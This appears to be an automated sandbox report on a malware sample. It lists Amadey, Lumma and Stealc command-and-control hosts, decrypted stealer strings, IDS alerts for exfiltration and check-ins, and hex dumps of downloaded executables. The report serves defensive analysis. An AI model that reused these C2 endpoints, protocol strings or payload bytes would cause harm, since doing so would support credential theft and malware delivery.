Source: 00000000.00000002.1714200567.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp	Malware Configuration Extractor: Amadey {"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}
Source: 30.2.f2cd5ac1bd.exe.400000.0.raw.unpack	Malware Configuration Extractor: LummaC {"C2 url": ["zinc-sneark.biz", "dare-curbys.biz", "drive-connect.cyou", "formy-spill.biz", "print-vexer.biz", "se-blurry.biz", "dwell-exclaim.biz", "covery-mover.biz", "impend-differ.biz"], "Build id": "FATE99--test"}

Multi AV Scanner detection for domain / URL

Source: https://effecterectz.xyz/apiq	Virustotal: Detection: 5%			Perma Link
Source: https://wrathful-jammy.cyou/T	Virustotal: Detection: 18%			Perma Link

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	ReversingLabs: Detection: 39%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[2].exe	ReversingLabs: Detection: 71%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\random[1].exe	ReversingLabs: Detection: 87%
Source: C:\Users\user\AppData\Local\Temp\1015563001\378e4894d2.exe	ReversingLabs: Detection: 39%
Source: C:\Users\user\AppData\Local\Temp\1015565001\8418257119.exe	ReversingLabs: Detection: 87%
Source: C:\Users\user\AppData\Local\Temp\1015566001\f2cd5ac1bd.exe	ReversingLabs: Detection: 71%
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	ReversingLabs: Detection: 47%

Multi AV Scanner detection for submitted file

Source: file.exe	Virustotal: Detection: 54%			Perma Link
Source: file.exe	ReversingLabs: Detection: 47%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\zNM737nW\WT0pal2n7uSoixsQ.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\ShtrayEasy35[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1015568001\b12a870d60.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\7UYGNIQ8\xHdN9si8LjqmZs2y.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[2].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\N2FRA2Ll\7bOe0mBZpcivp612.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1015564001\ShtrayEasy35.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1015567001\e145bb7f6e.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\WzT4xP1v\LOVI3rtjoHDpADyV.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1015566001\f2cd5ac1bd.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1015563001\378e4894d2.exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 00000006.00000003.2422120102.0000000005330000.00000004.00001000.00020000.00000000.sdmp	String decryptor: sordid-snaked.cyou
Source: 00000006.00000003.2422120102.0000000005330000.00000004.00001000.00020000.00000000.sdmp	String decryptor: awake-weaves.cyou
Source: 00000006.00000003.2422120102.0000000005330000.00000004.00001000.00020000.00000000.sdmp	String decryptor: wrathful-jammy.cyou
Source: 00000006.00000003.2422120102.0000000005330000.00000004.00001000.00020000.00000000.sdmp	String decryptor: debonairnukk.xyz
Source: 00000006.00000003.2422120102.0000000005330000.00000004.00001000.00020000.00000000.sdmp	String decryptor: diffuculttan.xyz
Source: 00000006.00000003.2422120102.0000000005330000.00000004.00001000.00020000.00000000.sdmp	String decryptor: effecterectz.xyz
Source: 00000006.00000003.2422120102.0000000005330000.00000004.00001000.00020000.00000000.sdmp	String decryptor: deafeninggeh.biz
Source: 00000006.00000003.2422120102.0000000005330000.00000004.00001000.00020000.00000000.sdmp	String decryptor: immureprech.biz
Source: 00000006.00000003.2422120102.0000000005330000.00000004.00001000.00020000.00000000.sdmp	String decryptor: shineugler.biz
Source: 00000006.00000003.2422120102.0000000005330000.00000004.00001000.00020000.00000000.sdmp	String decryptor: lid=%s&j=%s&ver=4.0
Source: 00000006.00000003.2422120102.0000000005330000.00000004.00001000.00020000.00000000.sdmp	String decryptor: TeslaBrowser/5.5
Source: 00000006.00000003.2422120102.0000000005330000.00000004.00001000.00020000.00000000.sdmp	String decryptor: - Screen Resoluton:
Source: 00000006.00000003.2422120102.0000000005330000.00000004.00001000.00020000.00000000.sdmp	String decryptor: - Physical Installed Memory:
Source: 00000006.00000003.2422120102.0000000005330000.00000004.00001000.00020000.00000000.sdmp	String decryptor: Workgroup: -
Source: 00000006.00000003.2422120102.0000000005330000.00000004.00001000.00020000.00000000.sdmp	String decryptor: rAGxSF--Support

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 104.21.51.88:443 -> 192.168.2.4:49777 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.207.38:443 -> 192.168.2.4:49784 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.218.51:443 -> 192.168.2.4:49785 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.16.1:443 -> 192.168.2.4:49791 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.55.153.106:443 -> 192.168.2.4:49804 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.79.7:443 -> 192.168.2.4:49890 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.207.38:443 -> 192.168.2.4:49928 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.16.1:443 -> 192.168.2.4:49935 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.55.153.106:443 -> 192.168.2.4:49951 version: TLS 1.2

Source: C:\Users\user\AppData\Local\Temp\1015564001\ShtrayEasy35.exe	Code function: 7_2_00E4FD87 FindClose,FindFirstFileExW,GetLastError,	7_2_00E4FD87
Source: C:\Users\user\AppData\Local\Temp\1015564001\ShtrayEasy35.exe	Code function: 7_2_00E4FE63 GetFileAttributesExW,GetLastError,FindFirstFileW,GetLastError,FindClose,___std_fs_open_handle@16,GetFileInformationByHandleEx,GetLastError,GetFileInformationByHandleEx,GetFileInformationByHandleEx,	7_2_00E4FE63
Source: C:\Users\user\AppData\Local\Temp\1015564001\ShtrayEasy35.exe	Code function: 7_2_00E4FDA7 FindFirstFileExW,	7_2_00E4FDA7
Source: C:\Users\user\AppData\Local\Temp\N2FRA2Ll\7bOe0mBZpcivp612.exe	Code function: 8_2_0096FD87 FindClose,FindFirstFileExW,GetLastError,	8_2_0096FD87
Source: C:\Users\user\AppData\Local\Temp\N2FRA2Ll\7bOe0mBZpcivp612.exe	Code function: 8_2_0096FDA7 FindFirstFileExW,	8_2_0096FDA7
Source: C:\Users\user\AppData\Local\Temp\N2FRA2Ll\7bOe0mBZpcivp612.exe	Code function: 8_2_0096FE63 GetFileAttributesExW,GetLastError,FindFirstFileW,GetLastError,FindClose,___std_fs_open_handle@16,GetFileInformationByHandleEx,GetLastError,GetFileInformationByHandleEx,GetFileInformationByHandleEx,	8_2_0096FE63
Source: C:\Users\user\AppData\Local\Temp\7UYGNIQ8\xHdN9si8LjqmZs2y.exe	Code function: 11_2_00B4FD87 FindClose,FindFirstFileExW,GetLastError,	11_2_00B4FD87
Source: C:\Users\user\AppData\Local\Temp\7UYGNIQ8\xHdN9si8LjqmZs2y.exe	Code function: 11_2_00B4FDA7 FindFirstFileExW,	11_2_00B4FDA7
Source: C:\Users\user\AppData\Local\Temp\7UYGNIQ8\xHdN9si8LjqmZs2y.exe	Code function: 11_2_00B4FE63 GetFileAttributesExW,GetLastError,FindFirstFileW,GetLastError,FindClose,___std_fs_open_handle@16,GetFileInformationByHandleEx,GetLastError,GetFileInformationByHandleEx,GetFileInformationByHandleEx,	11_2_00B4FE63
Source: C:\Users\user\AppData\Local\Temp\1015565001\8418257119.exe	Code function: 12_2_0040367D GetFileAttributesW,SetLastError,FindFirstFileW,FindClose,CompareFileTime,	12_2_0040367D
Source: C:\Users\user\AppData\Local\Temp\1015565001\8418257119.exe	Code function: 12_2_004031DC FindFirstFileW,SetFileAttributesW,lstrcmpW,lstrcmpW,SetFileAttributesW,DeleteFileW,FindNextFileW,FindClose,SetFileAttributesW,RemoveDirectoryW,??3@YAXPAX@Z,??3@YAXPAX@Z,	12_2_004031DC
Source: C:\Users\user\AppData\Local\Temp\zNM737nW\WT0pal2n7uSoixsQ.exe	Code function: 14_2_0065FD87 FindClose,FindFirstFileExW,GetLastError,	14_2_0065FD87
Source: C:\Users\user\AppData\Local\Temp\zNM737nW\WT0pal2n7uSoixsQ.exe	Code function: 14_2_0065FE63 GetFileAttributesExW,GetLastError,FindFirstFileW,GetLastError,FindClose,___std_fs_open_handle@16,GetFileInformationByHandleEx,GetLastError,GetFileInformationByHandleEx,GetFileInformationByHandleEx,	14_2_0065FE63
Source: C:\Users\user\AppData\Local\Temp\zNM737nW\WT0pal2n7uSoixsQ.exe	Code function: 14_2_0065FDA7 FindFirstFileExW,	14_2_0065FDA7

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.4:49748 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.43:80 -> 192.168.2.4:49754
Source: Network traffic	Suricata IDS: 2058222 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (immureprech .biz) : 192.168.2.4:59707 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058214 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (deafeninggeh .biz) : 192.168.2.4:54771 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49776 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2058223 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (immureprech .biz in TLS SNI) : 192.168.2.4:49784 -> 172.67.207.38:443
Source: Network traffic	Suricata IDS: 2058220 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (effecterectz .xyz) : 192.168.2.4:51548 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058218 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (diffuculttan .xyz) : 192.168.2.4:64228 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058216 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (debonairnukk .xyz) : 192.168.2.4:53807 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058236 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (wrathful-jammy .cyou) : 192.168.2.4:58940 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058215 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (deafeninggeh .biz in TLS SNI) : 192.168.2.4:49791 -> 104.21.16.1:443
Source: Network traffic	Suricata IDS: 2058226 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (sordid-snaked .cyou) : 192.168.2.4:54425 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058210 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (awake-weaves .cyou) : 192.168.2.4:63784 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49803 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49835 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49851 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49871 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49888 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2058230 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (tacitglibbr .biz) : 192.168.2.4:50050 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058231 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI) : 192.168.2.4:49917 -> 104.21.50.161:443
Source: Network traffic	Suricata IDS: 2058215 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (deafeninggeh .biz in TLS SNI) : 192.168.2.4:49935 -> 104.21.16.1:443
Source: Network traffic	Suricata IDS: 2058220 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (effecterectz .xyz) : 192.168.2.4:59154 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058216 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (debonairnukk .xyz) : 192.168.2.4:56364 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058218 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (diffuculttan .xyz) : 192.168.2.4:51351 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058236 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (wrathful-jammy .cyou) : 192.168.2.4:50504 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058210 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (awake-weaves .cyou) : 192.168.2.4:49965 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058226 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (sordid-snaked .cyou) : 192.168.2.4:62929 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058223 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (immureprech .biz in TLS SNI) : 192.168.2.4:49928 -> 172.67.207.38:443
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.4:49950 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.4:49950 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 185.215.113.206:80 -> 192.168.2.4:49950
Source: Network traffic	Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.4:49950 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 185.215.113.206:80 -> 192.168.2.4:49950
Source: Network traffic	Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.4:49950 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:49784 -> 172.67.207.38:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:49777 -> 104.21.51.88:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49777 -> 104.21.51.88:443
Source: Network traffic	Suricata IDS: 2858666 - Severity 1 - ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup : 192.168.2.4:49804 -> 23.55.153.106:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49784 -> 172.67.207.38:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:49791 -> 104.21.16.1:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49791 -> 104.21.16.1:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:49935 -> 104.21.16.1:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49935 -> 104.21.16.1:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:49928 -> 172.67.207.38:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49928 -> 172.67.207.38:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:49890 -> 104.21.79.7:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49890 -> 104.21.79.7:443
Source: Network traffic	Suricata IDS: 2858666 - Severity 1 - ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup : 192.168.2.4:49951 -> 23.55.153.106:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:49917 -> 104.21.50.161:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49917 -> 104.21.50.161:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: zinc-sneark.biz
Source: Malware configuration extractor	URLs: dare-curbys.biz
Source: Malware configuration extractor	URLs: drive-connect.cyou
Source: Malware configuration extractor	URLs: formy-spill.biz
Source: Malware configuration extractor	URLs: print-vexer.biz
Source: Malware configuration extractor	URLs: se-blurry.biz
Source: Malware configuration extractor	URLs: dwell-exclaim.biz
Source: Malware configuration extractor	URLs: covery-mover.biz
Source: Malware configuration extractor	URLs: impend-differ.biz
Source: Malware configuration extractor	IPs: 185.215.113.43

Performs DNS queries to domains with low reputation

Source:	DNS query: effecterectz.xyz
Source:	DNS query: diffuculttan.xyz
Source:	DNS query: debonairnukk.xyz
Source:	DNS query: effecterectz.xyz
Source:	DNS query: diffuculttan.xyz
Source:	DNS query: debonairnukk.xyz

Source: global traffic

TCP traffic: 192.168.2.4:49797 -> 89.23.100.42:9270

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sun, 15 Dec 2024 10:59:09 GMTContent-Type: application/octet-streamContent-Length: 1834496Last-Modified: Sat, 14 Dec 2024 21:12:38 GMTConnection: keep-aliveETag: "675df4c6-1bfe00"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 62 fe 59 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 cc 03 00 00 b0 00 00 00 00 00 00 00 80 48 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 b0 48 00 00 04 00 00 e2 b0 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 54 30 05 00 68 00 00 00 00 20 05 00 f0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 31 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 10 05 00 00 10 00 00 00 48 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 f0 01 00 00 00 20 05 00 00 02 00 00 00 58 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 30 05 00 00 02 00 00 00 5a 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 b0 29 00 00 40 05 00 00 02 00 00 00 5c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 75 62 76 6d 78 6b 6f 62 00 80 19 00 00 f0 2e 00 00 7a 19 00 00 5e 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 78 64 61 77 61 6c 6d 68 00 10 00 00 00 70 48 00 00 04 00 00 00 d8 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 80 48 00 00 22 00 00 00 dc 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sun, 15 Dec 2024 10:59:27 GMTContent-Type: application/octet-streamContent-Length: 4438776Last-Modified: Tue, 10 Dec 2024 00:01:52 GMTConnection: keep-aliveETag: "675784f0-43baf8"Accept-Ranges: bytesData Raw: 4d 5a 60 00 01 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 52 65 71 75 69 72 65 20 57 69 6e 64 6f 77 73 0d 0a 24 50 45 00 00 4c 01 04 00 ce 3f c3 4f 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 08 00 00 90 01 00 00 96 00 00 00 00 00 00 5f 94 01 00 00 10 00 00 00 a0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 80 02 00 00 02 00 00 e7 a4 44 00 02 00 00 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 84 c9 01 00 c8 00 00 00 00 30 02 00 10 4f 00 00 00 00 00 00 00 00 00 00 10 7b 43 00 e8 3f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a0 01 00 6c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 0e 8e 01 00 00 10 00 00 00 90 01 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 da 3b 00 00 00 a0 01 00 00 3c 00 00 00 92 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 ec 4d 00 00 00 e0 01 00 00 0a 00 00 00 ce 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 10 4f 00 00 00 30 02 00 00 50 00 00 00 d8 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 55 8b ec a1 60 e9 41 00 81 ec 04 09 00 00 53 33 db 3b c3 56 57 74 1f 66 39 1d 62 e9 41 00 74 07 ff d0 a3 60 e9 41 00 50 e8 50 14 00 00 50 e8 ef 84 00 00 59 eb 6e 6a 27 e8 40 14 00 00 8b 75 08 ff 76 0c 8b 3d c0 a2 41 00 ff 36 50 8d 85 fc f6 ff ff 50 ff d7 83 c4 14 39 5e 10 89 5d fc 76 38 8d 5e 14 ff 33 8d 85 fc fe ff ff 68 90 a4 41 00 50 ff d7 83 c4 0c 8d 85 fc fe ff ff 50 8d 85 fc f6 ff ff 50 ff 15 78 a1 41 00 ff 45 fc 8b 45 fc 83 c3 04 3b 46 10 72 cb 8d 85 fc f6 ff ff 50 e8 7e 84 00 00 59 e8 d4 36 00 00 6a 0a ff 15 74 a1 41 00 cc ff 74 24 04 e8 44 ff ff ff cc 56 8b f1 e8 25 73 00 00 c7 06 a0 a4 41 00 c7 46 38 d2 07 00 00 8b c6 5e c3 6a 01 ff 71 04 ff 15 bc a2 41 00 c3 33 c0 39 05 60 ea 41 00 74 07 b8 04 40 00 80 eb 1e 39 44 24 08 74 16 ff 74 24 08 50 68 02 80 00 00 ff 35 58 ea 41 00 ff 15 b8 a2 41 00 33 c0 c2 08 00 8b 44 24 04 83 60 1c 00 83 7c 24 08 00 75 07 c7 40 1c 01 00 00 00 33 c0 c2 08 00 a0 70 e9 41 00 f6 d8 1b c0 83 e0 0b 83 c0 08 c3 ff 74 24 10 8b 44 24 08 ff 74 24 10 c7 05 60 e9 41 00 2f 11 40 00 ff 74 24 10 8b 08 50 ff 51 0c 83 25 60 e9 41 00 00 c3 33 c0 c2 0c 00 8b 54 24 08 8b 4c 24 04 0f b7 02 66 89 01 41 41 42 42 66 85 c0 75 f1 c3 8b 4c 24 04 33 c0 66 39
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sun, 15 Dec 2024 10:59:40 GMTContent-Type: application/octet-streamContent-Length: 727552Last-Modified: Wed, 11 Dec 2024 08:22:24 GMTConnection: keep-aliveETag: "67594bc0-b1a00"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 c0 24 58 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 4e 01 00 00 a8 00 00 00 00 00 00 2c 36 00 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 50 0b 00 00 08 00 00 7c 7a 0b 00 03 00 40 83 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 6c ca 01 00 64 00 00 00 00 